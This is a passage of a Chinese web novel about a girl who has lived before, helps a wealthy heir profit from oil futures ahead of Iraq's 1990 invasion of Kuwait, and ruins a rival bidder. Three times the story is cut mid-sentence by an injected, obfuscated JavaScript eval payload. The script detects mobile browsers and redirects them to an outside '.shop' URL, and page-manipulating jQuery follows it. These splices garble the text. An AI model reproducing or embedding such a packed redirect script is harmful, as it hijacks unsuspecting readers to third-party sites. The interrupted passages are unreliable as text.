这是菲伊第一次看到这个男人笑。 很浅,转瞬即逝,却让他紧绷的下颌线柔和了一瞬,连灰蓝色眼睛里的冰冷都化了一点。 阿利斯泰尔按下桌上的呼叫铃。 伊森推门进来:“先生,有什么吩咐?” “拿支票簿来。” 伊森愣了一下,随即转身出去。很快,他拿着一本支票簿走进来,递给阿利斯泰尔。 阿利斯泰尔拔下笔帽,刷刷写下一串数字,签上名字,把支票推到菲伊面前。 “你的消息很及时,这是谢礼。” 菲伊拿起来一看,心头猛地一跳—— 10万美元。 两辈子加起来,她就没见过这么多钱! 要不是惦记着原油期货的事,她绝对毫不犹豫地收下。 压下心头的不舍,菲伊将支票轻轻推了回去。 阿利斯泰尔挑了挑眉,“嫌少?” “不。”菲伊摇头,“我不要钱,我想和您谈一笔生意。” 此话一出,不要说阿利斯泰尔,就连一直充当背景板的伊森,都忍不住露出惊讶的表情。 他刚刚没听错吧?这个前两天还在躲债的十六岁女孩,居然要和身价数十亿的boss谈生意? 要不是因为恰巧救了凯瑟琳小姐,她连见boss一面的机会都没有。 也不知该说她胆大妄为呢,还是异想天开。 菲伊自然听不见伊森的腹诽,不过就算听见了,她也不会感到惊奇。 毕竟以她现在的状况,想和一个老钱家族的继承人谈生意,任谁听了都会发笑。 对面的人没当着她的面笑出来,或者拂袖而去,已经算是涵养不错了。 “什么生意?”阿利斯泰尔静静地观察了菲伊一会儿,终于开口。 菲伊端起果汁喝了一口,然后斟酌着说道:“在那之前,我需要维克多·哈帕的资料,越详细越好。” 伊森忍不住嗤笑出来。 一个连基本信息都没有的人,到底哪儿来的勇气敢开口和boss谈生意? 阿利斯泰尔斜睨了伊森一眼,后者立马收起笑容,恢复那副面瘫样。 “温斯洛小姐,虽然你提供的消息很及时,但这并不是你浪费我时间的理由。”阿利斯泰尔语气冷了几分,“如果你继续开玩笑,恕我没有时间奉陪。” “5分钟。”菲伊立即道,接着又把那张10万美元的支票往前推了推,“这10万美元,买您5分钟。如果5分钟后我说不出令您满意的话,您大可以把我从这里丢出去!” 她的眼神很坚定,没有丝毫退缩。 明明穿着廉价的衣服,坐在豪华的会所里,却没有一点局促。反而像个手握筹码的赌徒,等着对方下注。 阿利斯泰尔看着她,又看了看桌上的支票。 过了几秒,他侧首对伊森道:“去把维克多·哈帕的资料拿来。” 没多久,伊森拿着一个文件袋回到包厢,放到菲伊面前:“维克多·哈帕的所有信息,都在这里了。” “谢谢。” 菲伊拿起文件袋,没有立刻打开。 她抬头看向阿利斯泰尔,眼睛在暖光下亮得惊人。 “布鲁姆先生,计时开始吧。” 说完,她拿起文件袋,扯开绳结,取出一沓打印好的文件,粗略一看,大约有二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753425|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 十多页。 她没有逐字逐句读,而是快速扫过每一行字,不断提炼重点信息。 财务报表、资金流水、公司架构、交易记录…… 密密麻麻的数据在她脑子里飞速拆解、重组、计算。 小镇做题家十几年练出来的速读能力,在这一刻发挥到了极致。 伊森抱着胳膊站在旁边,眼角余光扫着腕表。 当时间过去1分30秒时,菲伊合上最后一页,把资料整整齐齐叠好,推回茶几中央。 伊森的嘴角抽了抽。 一万多字的资料,夹杂着密密麻麻的财务数据和交易记录,正常人看一遍至少要二十分钟。她一分半就看完了?装模作样也得有个限度。 菲伊没理会他的眼神。 她靠在沙发上,闭了闭眼,把刚才看过的重点在脑子里迅速过了一遍,确认没有遗漏。 然后睁开眼,看向阿利斯泰尔:“斯坦利把签约延期到了几号?” “暂定8月5号。” “谢谢。” 菲伊点点头,指尖轻轻敲着文件袋,“为了补足第一得州银行的资金缺口,再加上斯坦利的加价,维克多至少需要1.6 亿。 他已经通过发行油井收益权票据筹到8000万,加上公司能动用的现金,凑够1亿没问题。剩下6000万的缺口……” 菲伊清了清嗓子,继续道:“他名下有五处房产,全部抵押外加个人存款,理论上能凑够这笔钱。但银行抵押贷款流程走完最快也要一个月,现在离8月5号只剩20天,根本来不及。” “所以维克多一定会走捷径。”菲伊语气肯定道,“从他的性格,以及过往的行迹来看,他一定会去金融市场做短线套利,用高杠杆赚一把快钱。” “这就是我们的机会。” “我们?” 阿利斯泰尔挑了挑眉,眼里闪过一丝玩味。 “对,我们。” 菲伊舔了舔有些干涩的嘴唇,往前倾了倾身子,“一个狙击维克多,顺便大赚一笔的机会。请看这些讯息……” 她麻利地从脚边的背包里抽出一份《华尔街日报》,在茶几上摊开,指着内页的一小则简讯,语速飞快地说道: “7月10日,萨达姆在电视讲话中提到科威特,用了‘伊拉克的历史领土’这个措辞。这个词在媒体上只占了小半栏,大部分分析认为这只是谈判前的施压。 但我认为没这么简单,伊拉克边境调兵的规模,已经超出了演习范畴。如果美国默许,他就会动手。” 不待阿利斯泰尔质疑,菲伊又飞快掏出第二张纸。 这回不是报纸,而是她手抄的一份数据表。 “美国商品期货交易委员会每周五会发布持仓报告。7月第一周,商业交易者在原油期货上的空头头寸,是净多头的两倍。第二周,各大对冲基金开始减持多单。市场正在往一个方向倾斜。” 阿利斯泰尔接过那张手抄表,目光从上往下扫了一遍。 “这说明市场普遍看衰未来的原油价格,看跌的人远超看涨的。” “没错。”菲伊应声点头,“但历史上每一次OPEC(石油输出国组织)谈判破裂之前,期货持仓格局全都是这般走势。眼下的原油市场,做空看跌的资本扎堆拥挤。 一旦局势突变、方向反转,海量空单集中平仓,引发踩踏式暴涨,只是迟早的事。” “你说是萨达姆·侯赛因会——” “这时候的任何一个意外,都会在原有市场引发连锁震荡。而这个意外,”菲伊点向那段简讯,一字一句道,“正朝我们走来。” 阿利斯泰尔眉头微蹙,深深看了她一眼,“这就是你要和我谈的生意?” “不仅如此。”菲伊压低声音,“我的计划其实很简单……” 15. 第15章 包厢里很安静,只有少女清晰的声音在回荡。 伊森原本漫不经心地听着,脸色却越来越严肃,最后甚至忍不住往前凑了一步。 菲伊说完,有些忐忑地看着阿利斯泰尔,手指无意识地攥住了衣角。 这是她唯一的机会,赌赢,就能搭上布鲁姆家的船,大赚一笔;赌输,她就只能再另想它法。 伊森又抬腕看了眼手表。 4分55秒。 刚好卡在五分钟的最后一刻。 他心里的不屑早就烟消云散了,此刻只剩下震惊和服气。 眼前的女孩不仅精准地把控了时间,提出的计划更是大胆得很,却又逻辑严密,环环相扣。 一旦真的做成,不仅能彻底搅黄维克多和第一得州银行的合作,让斯坦利竹篮打水一场空,南方信托还能以更低的价格拿下休斯顿联合储蓄,甚至在金融市场上反手赚一笔。 可谓一箭三雕! 如果不是亲耳听到,他绝对不敢相信这是一个十六岁女孩能想出来的计划。 阿利斯泰尔全程没插过一句话。 原本搭在膝头的手不知何时收了回来,菲伊说完后,他没有立即开口。 交叠的长腿换了个姿势,身体微微前倾,数秒后,他抬眼看向菲伊,眼尾微挑,嘴角牵起一抹极淡的笑。 “你果然很大胆。” 他看着菲伊,语气里带着毫不掩饰的赞赏,“如果不是我查过你的底细,确定你只有十六岁,我都要怀疑坐在我对面的是一个在华尔街混了二十年的老狐狸。” 菲伊暗自汗颜:她哪里是什么老狐狸,只不过恰好知道些未来的事而已。 她心里转着不着调的念头,面上却半点不露,脊背挺得笔直,“所以,您的决定是……” 阿利斯泰尔站起身,整理了一下衬衫的袖口。 “你说的几个关键点,我需要派人核实。有结果第一时间通知你。” 说完,他朝菲伊伸出右手。 “无论这笔生意能不能成,菲伊·温斯洛,很高兴认识你。” 语气诚恳而郑重,不再是之前对待救命恩人的客气,而是对待一个合作者的尊重。 菲伊愣了一下,连忙伸手回握。 “我也是,布鲁姆先生。” 阿利斯泰尔松开手,转身朝门口走去。伊森已经打开包厢门,站在一侧等他。 “等等!” 菲伊突然叫住他,拿起桌上的十万美金支票,“您的支票。” 阿利斯泰尔回头看了一眼,摆了摆手:“不用了。我的五分钟你没有浪费,这是你应得的。” 他朝外走了几步,忽又顿住,头也不回地对伊森吩咐道:“伊森,你先留下,给温斯洛小姐安排一下住处,确保她的安全。再给她配一部手提电话,费用记在我账上。” “是,先生。” 伊森恭敬地应道。 阿利斯泰尔的身影消失在走廊尽头。 包厢里只剩下菲伊和伊森两个人。 伊森看向菲伊,眼神里已经没有之前的轻视,而是多了几分尊重。 他微微躬身:“温斯洛小姐,请跟我来。我先带您去酒店。” 菲伊点点头,拿起脚边的背包。 走到门口时,她下意识回头看了一眼,夕阳透过落地窗漫进来,在她肩头落了一片金色的光斑。 微风拂过,吹动她额前的碎发,也吹走了连日压在心头的阴霾。 晚上八点,费尔蒙酒店。 夜色刚漫过休斯顿的楼宇轮廓,街灯次第亮起来,隔着落地玻璃望出去,一城灯火疏疏落落,温温吞吞铺在远处的公路上。 阿利斯泰尔站在办公桌前,指尖轻轻抵着桌沿,目光落在菲伊那张手抄的数据表上。 一行行数字排布得规整利落,可内里藏着的市场研判与地缘推断,完全不像一个十六岁少女能有的眼界。 他拿起电话,拨出一个号码。 电话很快接通,听筒里传来父亲查尔斯·布鲁姆沉稳的嗓音,带着几分居家的松弛:“这个点打电话,是休斯顿的收购案又出状况了?” “不是收购本身的麻烦。”阿利斯泰尔语气平和,却透着认真,“我想麻烦您联系下财政部的老友,帮我探探白宫方面对伊拉克近期军事动向的态度。这事很重要,很可能影响到接下来的收购布局。” 查尔斯沉默片刻,没有问他原因,只是提醒道:“我早说过,收购一事交由你全权做主,输赢自负。只是时局变幻莫测,千万别被旁人的臆测影响了你的判断。” “我心里有数,所以需要您帮我确认一些事。” 挂了电话,阿利斯泰尔走到窗边,静静立着。晚风透过窗缝溜进来,带着夏夜特有的微凉,拂过鬓角浅金色的发丝。 他望着楼下修剪齐整的灌木丛,枝叶在路灯下投出斑驳暗影,心里反复掂量着菲伊那番大胆的推断。 一个十六岁的姑娘,高中都没毕业,却敢断言中东局势和全球原油市场的未来走向,这话听着都荒诞,却偏生叫人无法一笑置之。 约莫过了半个小时,电话铃声再度响起,是查尔斯回电。 “我联系了财政部副部长。” 查尔斯的用词十分审慎克制,“对方话说得很保守,只说眼下没有将伊拉克动向定性为重大威胁。白宫那边的态度也明确,沙特未曾正式求援,美方便不会贸然介入。” 阿利斯泰尔静静听着,指尖无意识摩挲着实木桌面细腻的纹理,把每一句讯息都牢牢记在心底。 “另外,我也问过你舅舅了。” 查尔斯补充道,“五角大楼确实在关注边境兵力部署,但还没进入高层决策环节。至于是否出兵干预,目前没有任何授权,说白了,华府打算先按兵不动,观望事态发展。” 挂断电话,阿利斯泰尔随即拨通了第二个号码。 那头是定居纽约的米勒,前情报系统资深分析师,退下来后常年受聘于布鲁姆家族,只做私人舆情与局势顾问,每年支取酬劳,平日从不多言,只在关键节点吐露实情。 听到阿利斯泰尔的来意,米勒没有丝毫耽搁,打开电脑就一通操作,几分钟后,听筒里传来米勒的声音: “我查看了最近的内部公开摘要,伊拉克那三支装甲师的部署的确反常。常规演习绝不会把重型装备压到边境五公里范围内,后勤补给线铺得太过规整,这是战前驻防的排布,不是练兵。” 阿利斯泰尔缓缓放下话筒,回身坐进皮质座椅。椅面带着微凉的质感,稍稍抚平了心底翻涌的思绪。 房间里静得能听见墙上挂钟秒针走动的轻响,“滴答、滴答”,不疾不徐,一下下敲在人心头。 从目前的消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753426|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 来看,短期之内战火爆发的概率,顶多五成。 理智告诉他,不要把十几亿的收购筹码,押在这个并不算高的几率上。 可阿利斯泰尔很清楚,任何生意都是有风险的。 风险越高,往往意味着,回报越大。 而布鲁姆家族从不缺循规蹈矩的聪明人,缺的是敢审时度势、果断下注的决策者。 思绪辗转良久,墙上的钟又走过几格刻度,阿利斯泰尔揉了揉眉心,扭头看向窗外的夜色,眸色逐渐变得沉静。 天刚破蒙,晨雾薄薄笼住费尔蒙的庭院,空气里浸着草木的湿润凉意。 伊森轻叩房门,脚步放得极轻,进门后将四份装订整齐的文件轻轻搁在书桌正中:CFTC原油期货持仓报告、伊拉克副总理阿齐兹公开讲话全文、伊拉克共和卫队军事调动轨迹纪要、OPEC增产谈判最新闭门纪要。 纸页带着油墨特有的香味,平铺在桌面上。 阿利斯泰尔俯身逐份翻看,目光扫过密密麻麻的文字与数据。 报告里清晰地标注出,原油空头头寸已是近年峰值,空头拥挤不堪,油价下行的空间,远没有市场预判得那般宽裕。 分析师的批注写得十分中肯:空头扎堆过盛,一旦突发黑天鹅,极易引发平仓踩踏,油价势必逆势拉升。 与菲伊的判断一致。 菲伊提出的计划,赌性十足,却刚好戳破了眼下的僵局。 心底最后一丝犹豫,像晨雾般缓缓散尽。 阿利斯泰尔拿起桌上的手提电话,按下了昨日存下的那个新号码。 铃声轻响两声,便被接通,听筒里飘来菲伊清软的晨间声线,恬淡里藏着几分敏锐:“早上好,布鲁姆先生。您……已经做好决定了?” “是的。” 阿利斯泰尔语气沉稳笃定,没有半分迟疑,“这笔生意,我做了。计划开始吧。” 两天后,南方信托内部出现重大分歧的风声,便传遍了休斯顿财经圈。 董事会激烈争执,多位元老股东反对阿利斯泰尔加码收购,个个都直言他太过冒进。 连查尔斯·布鲁姆都对外放了口风,不会再为这次收购追加资金,默许董事会干预项目。 一时间,圈内人人都觉得,这位年轻的家族继承人已是孤立无援,深陷僵局。 消息传到维克多·哈帕耳中时,他正靠在会所真皮沙发上,指尖夹着一支雪茄,淡青色的烟雾缓缓萦绕周身,眉眼间满是玩味与自得。 对面坐着第一得州银行行长约翰·劳恩斯,神情闲适,满眼看好戏的姿态。 “说到底还是太年轻了。” 维克多吐了口烟圈,语气里满是轻慢,“名校高材生的头衔再光鲜,没真正熬过商场硬仗,终究差了点火候。不过是斯坦利临时坐地起价,立马就乱了方寸。 董事会不站他这边,老布鲁姆也不肯兜底,孤身一人,拿什么跟我们掰手腕?” 约翰轻笑一声,语气带着几分嘲讽:“我早就说过,他撑不住的。以为多几个钱,就能吞下休斯顿储蓄这块肥肉?哼,年轻人,就是不知天高地厚!” “呵呵呵,我还听说那小子偷偷抵押私人房产自筹资金,说白了就是慌了手脚,开始病急乱投医了。” 说着,两人相视一笑,各自端起桌边冰镇的香槟杯,轻轻碰了碰。 16. 第16章 7月20日,又有新的风声传来: 阿利斯泰尔暗中潜入二级市场,开始悄悄吸纳休斯顿联合储蓄的散户与小股东股份。 维克多听闻,眉头微蹙,随即嗤笑出声:“倒是会找些旁门左道。平原资本握着58%的绝对控股权,他收这点零散散户股份,能翻得起什么浪花?” 约翰神色多了几分审慎:“话虽这么说,小股东合计持股也有42%。要是让他悄悄收拢投票权,往后难免横生变数,我们不能坐视不管。” 维克多略一思忖,当即拍板:“他敢扫货,我们就跟着进场。他出什么价,我们就比他高一点,死死压住他。我倒要看看,他靠抵押房产凑来的那点资金,能硬撑多久。” 自此,两方暗中较劲,在二级市场悄然抢筹。 休斯顿联合储蓄的股价顺着这股暗流,一路稳步走高。 普通股民看不清内里博弈,只瞧见股价持续上涨,便纷纷跟风入场,反倒进一步推高了股价,市面一派燥热喧嚣。 就在这暗流涌动之际,阿利斯泰尔悄然调拨3千万美元资金,低调布局原油期货多单,悄然入局。 这消息很快落入维克多与约翰耳中,引得两人一阵嘲讽。 “呵,还真想走捷径凑钱?” 维克多弹了弹雪茄烟灰,满脸不屑,“想靠短线做多原油套利,填补收购的资金缺口?未免太天真了。” 约翰跟着摇头轻笑:“现在市场行情很清晰,原油中长期低迷,业内普遍看后续还会继续下跌。就算不跌,也只会僵持震荡,短期内根本没有暴涨的可能。这小子纯属急昏了头,白费功夫罢了。” 在二人眼中,阿利斯泰尔这番操作,不过是病急乱投医。 既斗不过已经结盟的他们,也拗不过低迷的原油大势,终究只能落败退场。 7月31日,休斯顿暑气正盛,烈日烘着大地,空气被烤得燥热发沉,风也是滞的,闷得人透不过气。 今日休斯顿联合储蓄股价一路冲到32.7美元/股,创下该公司的历史新高,引得市井股民纷纷趋之若鹜。 各方的盘面筹码一目了然:平原资本手握58%股份,牢牢锁死控股权;阿利斯泰尔悄悄埋伏,暗中吃进18%流通股;维克多联手第一得州银行,攥着15%的筹码。 市面上能流通的散股,基本被这两家瓜分干净。 费尔蒙顶层套房,遮光帘半垂,滤去外头灼人的暑气。 阿利斯泰尔端坐于专业电子终端前,看着眼前跳动的股价盘面,神情淡然,眼底却凝着冷光。 外界传他连日闭门不出,被董事会施压,资金链濒临断裂,早已是强弩之末。 伊森垂手站在一旁,声音压得极低:“先生,消息已经给到理查德。” 阿利斯泰尔淡金色的睫毛垂着,遮住眼底冷光,语气平静无波:“他信了?” “深信不疑。” 理查德·布鲁姆,布鲁姆家族旁支,南方信托元老之一。 也是阿利斯泰尔查出来的那个内鬼。 这老头在公司熬了二十多年,原本笃定自己能坐稳总裁位置,最后却被年纪轻轻的阿利斯泰尔截胡。 他为人保守固执,打从心底看不惯阿利斯泰尔激进的收购打法,认定收购休斯顿储蓄是一场无脑豪赌。 心底的嫉恨、上位的野心、对年轻继承人的排斥,凝成了一根毒刺,深深扎入他的心底。 因此当维克多暗中递来好处时,理查德几乎没有犹豫,直接倒戈。 他要的不只是钱,更是把阿利斯泰尔狠狠拽下来,夺回属于自己的位置。 这段时间,他不间断向维克多泄露内部情报,刻意放大董事会矛盾,在外散播不利于阿利斯泰尔的谣言。 而这些,正中阿利斯泰尔的下怀。 这是他和菲伊计划中的一环。 此刻,理查德手里捏着一份情报——阿利斯泰尔闭门避人是假象,正准备秘密前往芝加哥,私下接洽平原资本浮动股东,高价吃进他们手中的股权。 他拨通维克多的电话,一字不漏地将情报告知了对方。 挂断电话,理查德露出得意的笑容,自以为一切尽在掌握,浑然不知自己只是棋子。 菲伊预判了维克多的抢筹本能,阿利斯泰尔顺势铺下诱饵,猎物们已踏入圈套。 平原资本内部人心涣散,斯坦利刻意拖延签约,早已引发部分股东的不满。这批股东只求套现离场,是最完美的诱饵。 另一边,刚结束通话的维克多,正思考着如何应对,电话铃声再次响起。 听筒里,斯坦利扯着破锣嗓吼道:“我的眼线传来消息,布鲁姆准备去芝加哥了!他加价5个点就能成交,你打算怎么办?” “我给你最后通牒,明天之前必须给我一个满意的答复,否则咱们的交易作废,我直接签字卖给布鲁姆!” 刺耳忙音响起,电话被粗暴挂断。 一旁的约翰·劳恩斯连忙抬头:“出问题了?” “那小子要收购平原资本的内部股。”维克多咬牙,眼神凶狠,“我们必须截胡。” “消息准确?” “千真万确。理查德和斯坦利都收到了消息。” 约翰眉头紧锁,想都没想就劝阻道:“不行,太冒险了!之前购买散股已经消耗了备用金,如果再去溢价收购内部股,机动资金会直接砍半。” 维克多夹着雪茄靠在沙发上,闻言低笑一声,透着资本老手的精明狂妄。 “约翰,你是银行出身,一辈子盯着现金流、盯着风控红线,这没有错。” 他摁灭雪茄,语气冷静: “但你要分清废纸和筹码的区别。我们不去二级市场追高,专程去芝加哥,收购的是平原资本内部合伙人份额。” 他竖起一指,继续道: “第一,这批股份附带内部投票权。吃下它,我们就能渗入控股股东圈层,制衡斯坦利等其他大股东,从外部谈判转为内部牵制。” 接着又竖起一指: “第二,这是舍末求本。现金只是兜底工具,内部股权才是此次收购的真正目标。只要拿到内部股权,还愁压低不了收购价吗?” 约翰仍有顾虑:“资金链变薄,风险太高了。” “真正的风险,是放任阿利斯泰尔拿下这批筹码。”维克多沉声道。 “说实话,我以前小瞧这小子了。” 此前他一直认定阿利斯泰尔只是靠家世镀金的新手,不懂资本博弈,现在要重新评估对方了。 “我原以为他只会二级市场囤货硬碰硬,没想到反应够快,盯上了平原内部松动的股东。” 维克多语气复杂,既有欣赏,又含忌惮。 “一旦让他得手,我们会被彻底锁死在局外。所以,我们必须截胡。” “可惜了。” 维克多唇角勾起,语气带着惋惜与冷嗤。 “若是再多给他几年的时间,我还真不一定是他的对手。” 约翰沉默良久,最终点头认可。 次日清晨,阿利斯泰尔便收到消息:能原资本与第一得州银行,以溢价7%的价格,横扫平原资本所有浮动股东的股权。 两家持股直接冲到30%,硬生生碾压南方信托18 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753427|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' %的筹码,坐稳第二大股东的位置。 休斯顿储蓄股价再度冲高。 可光鲜的数据背后,是彻底枯竭的现金流。维克多把抵押房产、高额拆借的资金,全部砸进股市。 所有筹码,一把梭/哈。 他盯着收盘报表,眼底满是胜利者的轻蔑。 理查德适时发来消息:阿利斯泰尔被查尔斯紧急召回总部,大概率要退出这场竞购了。 这一刻,维克多、约翰、理查德,三方皆以为大局已定。 8月1日晚。 夜色渐深,休斯顿燥热褪去,晚风穿窗而入,带着一丝丝凉爽。 菲伊坐在两台报价终端前,屏幕冷光落在她的脸上,睫毛投下浅浅的阴影。女孩的脸上没什么多余的表情,透着一股与年龄不符的沉静。 阿利斯泰尔坐在她身侧,姿态松弛,指尖漫不经心地转着一支银质钢笔。 这是两人达成合作后,第一次并肩守盘。 菲伊:“布鲁姆先生,你其实没必要赶回来,在亚特兰大一样能盯盘。” 阿利斯泰尔:“做戏要做足。一个被逼到绝路、不肯认输的继承人,就该连夜飞回休斯顿,准备最后一搏。” 菲伊“唔”了一声,点头:“有道理。” “布伦特原油价格今天摸到19.6美元,冲高回落。”她指尖轻点K线,“散户、中小机构全部扎堆做空,市场一致看衰,所有人都笃定油价还要横盘下跌。” 话音刚落,阿利斯泰尔便开口道:“再加四千五百万,全部押多。” 菲伊侧首看他,眼里闪过诧异:“再加?您不怕我判断失误?” “大不了就是亏掉我私人账户的存款。”阿利斯泰尔淡淡道,“你都敢压上全部身家,我又有何不可?” 菲伊暗暗撇嘴:我和你可比不了,全部身家加起来只不过区区12万美金,跟一出手就能砸下7300万的人比起来,根本不够看。 伊森站在一旁,没有劝阻。因为他知道boss一旦下定决心,谁也左右不了。 他拿起专线电话,语速极快地向华尔街的交易员报出指令:“布伦特原油,四千五百万美元,市价开多单,全部成交。” 挂了电话,他犹豫了两秒,又拿起另一部私人电话,低声对自己的经纪人说:“把我账户里的八十万,全部买原油多单。” 他信boss的眼光,也信这个总能精准预判一切的女孩。 深夜十一点,原油盘面死气沉沉,在18.3至19.5美元之间反复横跳,走势疲软,处处透着无力。 凌晨两点,波斯湾边境。 漆黑的夜空被炮火撕开一道口子,坦克履带碾过滚烫的黄沙,伊拉克共和国卫队悍然越过边境,入侵科威特。 战火的消息横跨大洋,传到纽约交易所的瞬间,原油盘面直接炸了。 18.9、20.4……绿色数字疯狂上跳,连屏幕刷新的间隔都跟不上。拂晓时分,布伦特原油直冲22.3美元,单日暴涨18%。 同一时间,美股开盘。 道琼斯指数直线下跌1.8%,资金开始从金融、科技、消费板块抽离,一窝蜂涌入能源赛道避险。 银行板块首当其冲,全线跳水。 前期被炒到虚高的休斯顿联合储蓄,开盘直接跳空低开,盘口瞬间压上数千手卖单。 休斯顿的一栋别墅里,维克多正睡得沉,急促刺耳的电话铃声硬生生把他从梦里拽出来。 他憋着一肚子起床气,皱着眉摸向床头座机,语气很冲:“喂?” “维克多先生!出大事了!” 17. 第17章 费尔蒙套房内,天光微亮。 阿利斯泰尔、伊森和菲伊一夜未睡,一直在盯盘。 看着历史在自己眼前如期上演,菲伊揉了揉酸疼坚硬的肩颈,暗暗松了一口气。 伊森看着最新的交易数据,呼吸带着一丝急促:“先生,银行股全线下跌,是否立即清仓我们持有的休斯顿储蓄股份。” 阿利斯泰尔微微点头,示意伊森拨通交易员的专线电话。 伊森指尖刚按在拨号键上,菲伊忽然制止了他: “等等,先别全抛。” 伊森动作一顿,看向阿利斯泰尔。后者放下手里的咖啡杯,目光转向菲伊,没有追问,只静静等着她开口。 菲伊盯着屏幕上跳动的绿色数字,快速道:“分批抛。不要一次性砸盘,让股价慢慢跌,给维克多一个救场的机会。” 阿利斯泰尔眉峰微挑,眼底掠过一丝锐光:“你是想故意误导维克多,让他觉得这只是战争引发的短期回调,只要扛过去就能反弹?” 菲伊点头:“没错。一次性砸盘会直接把股价砸穿,就算亏到吐血,维克多也会立刻止损跑路。 可一旦让他看到希望,他就会把最后一点家底拿出来,接下我们抛出的所有股票。” 阿利斯泰尔看着她亮得惊人的眼睛,唇角勾起一抹极淡的笑意。 “我好像没说过,” 他声音低沉,带着真心的赞赏,“你天生就该去华尔街。” 说罢,不等菲伊回应,转头对伊森吩咐:“按她说的做。控住跌幅,不要引起市场恐慌。” 伊森愣了一瞬,随即重重点头。 他跟了阿利斯泰尔三年,从未见boss如此干脆地采纳旁人的决策,更何况是一个十六岁的女孩。 但这半个月以来的布局,早已让他对菲伊心服口服。 一切正如菲伊所料。 休斯顿储蓄的股价没有断崖式下跌,接下来几天都是小幅阴跌,偶尔还会出现几十手买单拉回一点跌幅,看起来像极了正常的回调洗盘。 而这,让维克多大大松了口气。 “我就说只是短期波动!阿利斯泰尔那小子资金链断了,正在慢慢出货跑路。他抛多少,我们就接多少! 等他清完仓,股价自然会涨回来,到时候我们手里的股份更多,就算斯坦利想反悔也没用了,休斯顿储蓄注定是我们的!” 约翰面露迟疑:“我的流动资金已经用完了,剩下的是公司账面的款项,不经过董事会,我无法挪动。” “账面没有钱,我就去借!” 维克多咬牙,眼里露出赌徒的疯狂,“只要熬过这一波,我们就能赢!等拿下休斯顿储蓄,这点钱十倍都能赚回来!” 他不顾约翰的劝阻,连夜联系了休斯顿最大的地下钱庄,以名下两座油井的收益权为抵押,借了1500万的高利贷。 这笔钱,很快就被他一分不剩地砸进股市,接下了阿利斯泰尔分批抛出的所有股份。 短短三天,他的持股比例从 30% 涨到了36%,账面亏损却扩大到了1.1亿美元。 8月6日,前线传来消息,伊拉克军队已经占领科威特全境,战火随时可能蔓延到沙特阿拉伯。 国际油价继续冲高,全美银行股集体跳水,花旗、大通等跌幅普遍在4-5%之间。 休斯顿联合储蓄自然不能幸免,开盘不久,跌幅就超过了4.3%。 费尔蒙套房内,阿利斯泰尔盯着屏幕上一片飘绿的银行板块,转头对伊森下令:“是时候了。剩下的所有股份,全部市价挂单。同时打给高盛的交易员,让他们在场内配合出货。” “明白!” 20分钟后,休斯顿联合储蓄的股价再次跌了1.5%,直接跌破25美元的关键支撑位。 最后一根稻草被压断。 散户的恐慌情绪瞬间引爆。证券营业部里一片混乱,哭喊声、咒骂声此起彼伏。 所有人都在疯狂打电话给经纪人,指令只有一个:"卖!全部卖掉!" 截止收盘时,休斯顿联合储蓄的单日跌幅已达6.8%。 截止当日收盘,休斯顿联合储蓄单日暴跌 6.8%,收于23.4美元。 三天前还心存侥幸的维克多,此刻正瘫坐在椅子上,目光呆滞地看着终端上跳动的数字,久久说不出话来。 祸不单行的是,一叠催款函紧跟着送到了他的办公室。 此前为了筹集收购资金,他抵押油井发行的结构性票据,绑定了能源价格。 油价暴涨触发最高档浮动利息,他需要支付给买方的利息,直接翻了四倍! “我们之前买的那些原油期货,赚了多少?” 维克多抓着财务总监的衣领,声音嘶哑。 “只有180万。” 财务总监脸色惨白,“我们买的太少了,连利息的十分之一都不够。” "那油井呢?我们的油井现在值钱了!" 维克多嘶吼着,指着墙上的资产地图,"现在就卖!全部卖掉!" "卖不掉。" 财务总监苦笑,"现在所有机构都在抢能源公司的流通股,没人愿意接盘整座油井。这种重资产走完交易流程至少需要三个月,我们下周三就要付利息,根本来不及。更何况……" “更何况什么?” “有两座油井被您抵押出去了。”财务总监讷讷道。 维克多:“……” 最终,他只能选择以三折的价格,贱卖了手里的那些票据,又把最后一座还没开发的油井抵押给了地下钱庄,才勉强凑齐了利息。 可这只是饮鸩止渴。 高利贷的利息像滚雪球一样越滚越大,每天一睁眼,他就要多还1.5万美元。 与此同时,第一得州银行也陷入了巨大的危机中。 银行门口,储户排起的长龙从大厅一直延伸到两条街外。有人扛着行李箱,有人拿着存折, 所有人都只有一个念头:把钱取出来。 这家银行六成以上的贷款都借给了能源公司。现在油价暴涨,很多以炼油为主的小型石油公司成本急剧上升,资金链断裂,还不上钱。 机构投资者率先跑路,三天内抽走10亿美元的存款。散户紧随其后,挤兑潮全面爆发。 更要命的是,董事会在查账时发现,约翰?劳恩斯偷偷将银行内的所有周转资金和暂时未放出去的款,共计1.2亿美元,全部投进了股市,用来收购休斯顿储蓄的股票。 